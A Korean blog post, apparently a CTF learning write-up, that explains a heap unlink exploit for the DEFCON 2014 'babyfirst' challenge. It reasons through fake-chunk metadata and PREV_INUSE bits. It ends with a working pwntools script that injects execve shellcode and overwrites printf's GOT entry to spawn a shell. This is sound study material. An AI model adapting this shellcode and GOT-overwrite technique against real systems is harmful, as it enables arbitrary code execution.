오랜만에 포스팅을 한다.
데이큰 2014 워밍업 문제였는데, 엄청 쉬운 문제이다. (풀고보니 이거 풀기전에 Double FreeBug 완벽한 이해가 좀 필요할듯..)
힙 주소까지 모두 알려줘서 릭할 필요조차 없다.
아직 힙 구조에대해서 익숙하지 않고.. 또 몇일 보지 않았더니 unlink가 헷갈렸다.
이전 것을 좀 복습해야겠다.
근데 free함수를 보면 fd+8=bk 는 어디에 나오는거지??
-> IDA로 보면 알 수 있음 어셈블리로 보면 fd+8 = bk, bk+4 = fd 해주는것을 볼 수 있음
또 왜 260짜리 청크 다음 청크의 PREV_INUSE 값을 1로 바꾸는거지..
디버깅을 해보자 내일 !
-> 디버깅을 해봐도 모르겠고..
나름대로 정리해본 결과 fake_chunk를 [260]청크 다음 넣어 줬으므로 [260]청크를 해제하기 전 상황은 다음과 같다.
[해제][260][fake_chunk : 해제]
그러므로 [260]을 해제하면 그 다음 fake_chunk의 fd, bk는 바귈것이라고 생각이 된다만..
또 이해가 안가는게 fake_chunk가 해제되어있는지 알아볼려면 fake_chunk 다음 청크의 prev_inuse값을 확인해야 될 텐데..
모르겠다.. 아래 그림을 보면 그 말이 맞을 듯 하다.
여기서 PREV 는 Fake chunk의 fd, NEXT 는 bk 라고 보면 됨
fake chunk 다음 의 prev_inuse의 값이 0인 것으로 보아 fake_chunk는 해제되어있다는 것을 알 수 있고
그럼 이전 포스팅(Double Free buf) 에서 했던 방식과 똑같아 진다.
여기서 중요한 것은 Fake_chunk의 Prev_inuse 를 1로 줘야하는데, 그 이유는 만약 여기서 0을 줘버리게 된다면
9번째 힙 을 해제할때 10번째(260사이즈)가 해제되었다고 판단을 해서 260사이즈를 갖는 청크의 fd, bk 를 조작하려 들 것이다.
하지만 보시다시피 이 값들은 41414141로 덮여있어서 segment fault가 발생할 것이다.
이전에 한글로된 Write-up을 보면 다 이상하게 설명을 해놔가지고 고생을 좀 했다.
뭐 기존의 병합을 끊는다거나 ,.. 난 이해가 가질 않는다.. 사실 무슨 말인지도 모르겠다..
암튼 중요한건 지금 아래와 같은 상황일 것이고
[ALLOC][loc=845D008][size=1246] [ALLOC][loc=845D4F0][size=1121] [ALLOC][loc=845D958][size=947] [ALLOC][loc=845DD10][size=741] [ALLOC][loc=845E000][size=706] [ALLOC][loc=845E2C8][size=819] [ALLOC][loc=845E600][size=673] [ALLOC][loc=845E8A8][size=1004] [ALLOC][loc=845EC98][size=952] [ALLOC][loc=845F058][size=755] [ALLOC][loc=845F350][size=260] [Fake_Chunk] 0000000000000000... <- 이것도 청크로 인식을 해버릴듯 (이건 다음 chunk(size=870)에서 Fake chunk를 구성하고 남은 데이터임) [ALLOC][loc=845F458][size=877] [ALLOC][loc=845F7D0][size=1245] [ALLOC][loc=845FCB8][size=1047] [ALLOC][loc=84600D8][size=1152] [ALLOC][loc=8460560][size=1047] [ALLOC][loc=8460980][size=1059] [ALLOC][loc=8460DA8][size=906] [ALLOC][loc=8461138][size=879] [ALLOC][loc=84614B0][size=823] |
size=755 짜리 힙 을 해제하려고 하면 이놈은 이웃 청크가 TopChunk가 아님을 확인하고, free_chunk 인지 확인하려들 것이다.
size=260인 힙이 free_chunk인지 확인하는 방법은 Fake_chunk의 Size부분 PREV_INUSE 값을 확인하면 되는데 이 값은 우리가 1로 줬다 ㅎㅎ
그러면 이전에 병합하던거랑 병합을 할 것이고 ( 첫번째부터 계속 free를 했으므로 첫 번째 청크에 fd, bk만 쓰이고 나머지는 그냥 합쳐질 것이다)
그리고 문제의 size=260이 free될때의 순간이다.
같은 방식으로 Fake_chunk가 Free_chunk인지 확인하기 위해 사이즈 만큼 뛰어서 그 값을 확인할 것인데 거길 보면 PREV_INUSE (0)일 것이다.
그래서 여기서 부터 새롭게 병합이 일어난다는 뜻이다. (그래서 기존의 병합을 끊는다고 말하는 것 같다)
그럼 여기서 Fake_chunk 의 size 헤더를 1로 설정해준 이유는 ?
일단 size는 0이라고 읽을 것이고, prev_inuse 가 1이라는 뜻이다.
그럼 fake_chunk가 free_chunk인지 확인하려면 size+4의 값이 그 다음 청크의 size헤더 일거고 이 값은 내가 printf_got-8
로 입력을 해놓았다. 이 값이 뭔지는 모르겠지만 운이 좋게 최하위 비트가 0이 였을 것이다.
좀 더 정확하게 하려면 0x19 처럼 fd, bk 를 뛰어넘는 곳에 .. 그리고 최하위 비트를 1로 올려주고.. 그럼 정확히 말하면 사이즈가 0x18이 됨
이 부분은 그냥 00000000..... 이므로 자연스럽게 PREV_INUSE값이 0임을 확인할 수 있고, fake_chunk는 이전 청크와 병합(Unlink)을 시도하면서
여기서부터 새로운 병합이 발생하게 된다!!
그럼 공격에 성공하는 값은 size 8이상 + 최하위 1비트 => 1001(0x9), 11001(0x19), 11101(0x1D), 11111(0x1F), 1111111(0x7F) 등등...
그럼 0xffffffff 은 ? (size는 0xffffffff & 0xffffffc = -4 ) 이므로 -4 + 4 = 제자리 ---> 제자리에는 최하위 비트가 1 이므로 안될 것임
그럼 0xfffffffc 은? 최 하위 비트가 0이므로 9번째 힙을 해제할때, 즉 취약점에 도달 하기도 전에 오류로 병합이 깨질 것이다!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * p = process('babyfirst') elf = ELF('babyfirst') printf_got = elf.got['printf'] shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" print p.recvuntil("[size=755]") print p.recvuntil("[ALLOC][loc=") heap_ptr = int(p.recvuntil("350"),16) print "[*] Heap PTR: " + hex(heap_ptr) print p.recvuntil("Write to object [size=260]:") exitfunc = 0x804C8AC payload = p32(0x50eb) payload += "\x90"*100 payload += shellcode payload += "A"*(260 - len(payload)) payload += p32(1) payload += p32(printf_got-8) payload += p32(heap_ptr) p.sendline(payload) p.interactive() | cs |
'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글
DEFCON CTF Qual 2017 beatmeonthedl (0) | 2018.03.20 |
---|---|
2014 hitcon stkof (unsafe unlink) (0) | 2018.03.19 |
heap 문제 풀이 목록 (0) | 2018.03.13 |
Codegate 2017 messenger (0) | 2018.03.01 |
Plaid CTF 2014 ezhp (0) | 2018.03.01 |